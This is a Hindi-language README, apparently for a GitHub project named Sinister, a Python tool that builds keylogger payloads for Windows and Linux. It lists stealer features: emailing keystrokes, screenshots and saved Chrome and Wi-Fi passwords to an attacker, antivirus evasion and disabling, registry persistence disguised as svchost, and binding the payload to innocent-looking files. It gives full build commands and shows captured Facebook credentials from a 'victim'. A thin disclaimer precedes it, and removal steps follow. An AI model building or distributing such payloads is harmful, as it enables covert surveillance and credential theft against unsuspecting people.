Sinister

                    यह छोटा पायथन स्क्रिप्ट वास्तव में बहुत अच्छा काम कर सकता है।

Sinister Windows/Linux के लिए कीलॉगर जनरेटर है, जो ईमेल के माध्यम से की-लॉग और स्क्रीनशॉट भेजता है, साथ ही Python 3 में लिखी गई अन्य रोचक लक्ष्य जानकारी भी।

अस्वीकरण

:computer: यह परियोजना केवल अच्छे उद्देश्यों और व्यक्तिगत उपयोग के लिए बनाई गई थी।

यह सॉफ्टवेयर बिना किसी वारंटी के "जैसा है" प्रदान किया जाता है। आप इस सॉफ्टवेयर का उपयोग अपने जोखिम पर कर सकते हैं। उपयोग की पूरी जिम्मेदारी अंतिम-उपयोगकर्ता की है। डेवलपर्स कोई देयता नहीं मानते हैं और इस कार्यक्रम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

विशेषताएं

• Windows/Linux पर काम करता है
• ईमेल के माध्यम से नए पीड़ित को सूचित करें
• अनपहचाने योग्य
• स्थायित्व
• पेलोड उत्पन्न करने से पहले ईमेल क्रेडेंशियल्स का सत्यापन।
• GMAIL, YAHOO, OUTLOOK, कस्टम SMTP जैसे किसी भी ईमेल प्रदाता में कीलॉग प्राप्त कर सकते हैं।

• SMTP सर्वर / पोर्ट

• ईमेल के माध्यम से पीड़ित पीसी की स्क्रीन का स्क्रीनशॉट भेजता है
• शून्य निर्भरताओं के साथ निष्पादन योग्य बाइनरी बनाता है
• उन्नत कार्यक्षमता के साथ छोटा आकार ~ 5mb पेलोड बनाता है
• उत्पन्न करने से पहले पेलोड को अस्पष्ट करता है, जिससे कुछ एंटीवायरस को बायपास करता है
• उत्पन्न पेलोड base64 से एन्कोडेड होता है, जिससे पेलोड को रिवर्स इंजीनियर करना अत्यंत कठिन हो जाता है
• पीड़ित पीसी पर एंटीवायरस को मारने और सुरक्षा को अक्षम करने का प्रयास करने का कार्य
• पेलोड उत्पन्न करने के लिए शानदार रंगीन इंटरफ़ेस
• हमलावर की तरफ: पेलोड बनाते समय, स्क्रिप्ट स्वचालित रूप से लापता निर्भरताओं का पता लगाती है और उन्हें स्थापित करती है
• सक्रिय विंडो नाम के आधार पर लॉग डेटा को अलग करता है (बेहतर समझ के लिए चित्र देखें)
• खतरनाक फ़ाइल में कस्टम आइकन जोड़ने में सक्षम
• बिल्ट-इन बाइंडर जो कीलॉगर को किसी भी फ़ाइल [जैसे .pdf, .txt, .exe] से बांध सकता है, सामने वैध फ़ाइल चलाता है और पीछे खतरनाक कोड को सेवा के रूप में चलाता है।
• सिस्टम पर पहले से चल रहे इंस्टेंस की जाँच करता है, यदि चल रहा इंस्टेंस मिलता है, तो केवल वैध फ़ाइल निष्पादित होती है [डुप्लिकेट ईमेल लॉग प्राप्त करने से बचने के लिए ]।

नोट: कस्टम स्टीलर कोडित है, LaZagne पर निर्भर नहीं करता

• पीड़ित के डिवाइस की उपयोगी जानकारी प्राप्त करता है और भेजता है

• यदि आपका पेलोड निष्पादित करने में असमर्थ है, तो CMD के साथ अग्रभूमि पर exe चलाने के लिए --debug निर्दिष्ट करें

महत्वपूर्ण

30 मई 2022 को, Google ने कम सुरक्षित ऐप्स सुविधा हटा दी, इसलिए Gmail पासवर्ड के बजाय:

• अपने हमलावर Gmail पर 2FA सक्षम करें
• ऐप विशिष्ट पासवर्ड बनाएं
• पेलोड बनाते समय उस app specific password का उपयोग करें।
• ऐप विशिष्ट पासवर्ड कैसे बनाएं: यहां क्लिक करें

परीक्षित किया गया

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

पूर्वापेक्षा

• Python 3.X
• कुछ बाहरी मॉड्यूल

Linux में उपयोग कैसे करें

# /opt निर्देशिका पर जाएं (वैकल्पिक)
$ cd /opt/

# इस रिपॉजिटरी को क्लोन करें
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Sinister फोल्डर में जाएं
$ cd Sinister

# निर्भरताएं स्थापित करना
$ bash installer_linux.sh

*** नोट जब installer_linux.sh निष्पादित करते समय Python Installer संवाद बॉक्स दिखाई दे ***
    * कस्टम इंस्टॉल पर क्लिक करें
    * पथ चुनें: C:/Python37-32
    ### ताकि पायथन इस पथ पर स्थापित हो (Wine के अंदर): ~/.wine/drive_c/Python37-32

# यदि installer_linux.sh निष्पादित करते समय कोई त्रुटि आ रही है, तो installer_linux.py का उपयोग करके इंस्टॉल करने का प्रयास करें
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# पेलोड/RAT बनाना
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# GMAIL SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना (डिफ़ॉल्ट SMTP सर्वर = smtp.gmail.com, डिफ़ॉल्ट SMTP पोर्ट = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# OUTLOOK SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# YAHOO SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

नोट: आप icon फोल्डर से हमारे कस्टम आइकन का भी उपयोग कर सकते हैं, बस उन्हें इस तरह उपयोग करें: --icon icon/pdf.ico

Windows में उपयोग कैसे करें

# निर्भरताएं स्थापित करें
$ नवीनतम python 3.x स्थापित करें

# इस रिपॉजिटरी को क्लोन करें
$ git clone https://github.com/PushpenderIndia/Sinister.git

# रिपॉजिटरी में जाएं
$ cd Sinister

# निर्भरताएं स्थापित करना
$ python -m pip install -r requirements.txt

# Sinister.py को टेक्स्ट एडिटर में खोलें और लाइन 16 को कॉन्फ़िगर करें: WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"

# सहायता मेनू प्राप्त करना
$ python Sinister.py --help

# पेलोड/RAT बनाना
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# GMAIL SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना (डिफ़ॉल्ट SMTP सर्वर = smtp.gmail.com, डिफ़ॉल्ट SMTP पोर्ट = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# OUTLOOK SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path

# YAHOO SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path

नोट: आप icon फोल्डर से हमारे कस्टम आइकन का भी उपयोग कर सकते हैं, बस उन्हें इस तरह उपयोग करें: --icon icon/pdf.ico

अपडेट कैसे करें

• स्वचालित रूप से अपडेट करने के लिए updater.py चलाएं या इस GitHub रिपो से नवीनतम ज़िप डाउनलोड करें
• नोट: updater.py का उपयोग करने के लिए Git स्थापित होना चाहिए

नोट:- खतरनाक फ़ाइल dist/ फोल्डर के अंदर, Sinister/ फोल्डर में सहेजी जाएगी

उपलब्ध तर्क

• वैकल्पिक तर्क

नोट : या तो -w/--windows या -l/--linux निर्दिष्ट होना चाहिए

• आवश्यक तर्क

नई स्क्रीनशॉट:

सहायता प्राप्त करना

पेलोड उत्पन्न करना

रिपोर्ट प्राप्त करना

लॉग डेटा को सक्रिय विंडो नाम के आधार पर अलग किया जाता है ~ v1.3 और आगे की सुविधा

सहेजे गए Chrome ब्राउज़र का पासवर्ड प्राप्त और भेजता है

• नोट: इस सुविधा का उपयोग करने के लिए, कीलॉगर बनाते समय -s या --steal-password निर्दिष्ट करें

सहेजा गया WIFI पासवर्ड प्राप्त और भेजता है

• नोट: इस सुविधा का उपयोग करने के लिए, कीलॉगर बनाते समय -s या --steal-password निर्दिष्ट करें

ये पुरानी छवियां भी देखें

~पुरानी स्क्रीनशॉट:

सहायता प्राप्त करना

Sinister.py स्क्रिप्ट चलाना

निर्माण पूर्ण

जब कीलॉगर चलता है, तो यह स्थायित्व बनाने के लिए रजिस्ट्री जोड़ता है

खुद की प्रतिलिपि बनाता है और इसे Roaming के अंदर सहेजता है

कीलॉगर का परीक्षण करने के लिए रैंडम टेक्स्ट टाइप करना

Sinister द्वारा भेजी गई रिपोर्ट 1

फेसबुक में लॉगिन ~ पीड़ित

रिपोर्ट 2 - फेसबुक क्रेडेंशियल्स के कीलॉग्स

रिपोर्ट 3 - स्क्रीनशॉट के साथ

डीबग समस्याएं

ऑफलाइन कीलॉग कैप्चरिंग का परीक्षण करने और इन आदेशों को चलाकर कीलॉगर समस्याओं को डीबग करने के लिए Offline Keylogger चलाने का प्रयास करें:

test_key.py को दोनों मोड [Compiled & Raw] में चलाएं और त्रुटि का पता लगाएं

इसे इस तरह चलाएं: python test_key.py

इसे इस तरह भी संकलित करें: pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard

इसे चलाने के बाद, कुछ टाइप करना शुरू करें, हर 10 सेकंड के बाद कमांड प्रॉम्प्ट पर परिणाम प्रदर्शित होगा

Offline keylogger की फ़ाइलें TestKeylogger फोल्डर में मौजूद हैं

• यदि पेलोड पीड़ित के सिस्टम पर निष्पादित करने में असमर्थ है

1. --debug फ्लैग के साथ एक नया पेलोड बनाएं
2. पेलोड exe को cmd के माध्यम से चलाएं [पेलोड को डबल-क्लिक करके निष्पादित न करें]
3. अब यह CMD में अधिक उपयुक्त त्रुटि देगा, बस उस समस्या को इश्यू सेक्शन में डालें

Windows में Sinister को हटाना:

विधि 1:

• स्टार्ट पर जाएं, regedit टाइप करें और पहला प्रोग्राम चलाएं, यह रजिस्ट्री संपादक खोलेगा।
• निम्नलिखित पथ पर नेविगेट करें: Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run वहां svchost नामक एक प्रविष्टि होनी चाहिए, इस प्रविष्टि पर राइट क्लिक करें और Delete चुनें।
• अपने उपयोगकर्ता पथ > AppData > Roaming पर जाएं, आपको "svchost.exe" नाम की एक फ़ाइल दिखाई देगी, यह RAT है, राइट क्लिक > Delete।
• सिस्टम को पुनरारंभ करें।

विधि 2:

• संक्रमित सिस्टम में "RemoveSinister.bat" चलाएं और फिर वर्तमान चल रही खतरनाक फ़ाइल को रोकने के लिए पीसी को पुनरारंभ करें।

Linux में Sinister को हटाना:

• किसी भी टेक्स्ट एडिटर से Autostart फ़ाइल खोलें, ऑटोस्टार्ट फ़ाइल पथ: ~/.config/autostart/xinput.desktop

• इन 5 पंक्तियों को हटाएं:

  root@kitploit:~

     [Desktop Entry]
     Type=Application
     X-GNOME-Autostart-enabled=true
     Name=Xinput
     Exec="destination_file_name"
  

• नोट: destination_file_name वह खतरनाक फ़ाइल का नाम है जो आपने अपने कीलॉगर को -o पैरामीटर का उपयोग करके दिया था

• अपने सिस्टम को रीबूट करें और फिर नीचे दिए गए इस पथ पर संग्रहीत खतरनाक फ़ाइल को हटा दें

• गंतव्य पथ, जहां कीलॉगर संग्रहीत है: ~/.config/xnput

योगदानकर्ता

• समर्पित योगदानकर्ता सूची: योगदानकर्ता

किसी भी प्रकार के योगदान का स्वागत है!

नोट: यदि आप योगदानकर्ताओं की सूची में होने चाहिए लेकिन हम आपको भूल गए, तो कृपया हमें बताएं!

TODO

• अपनी स्वयं की सुविधा सुझाएं
• नई सुविधाएं जोड़ें
• GUI संस्करण में योगदान करें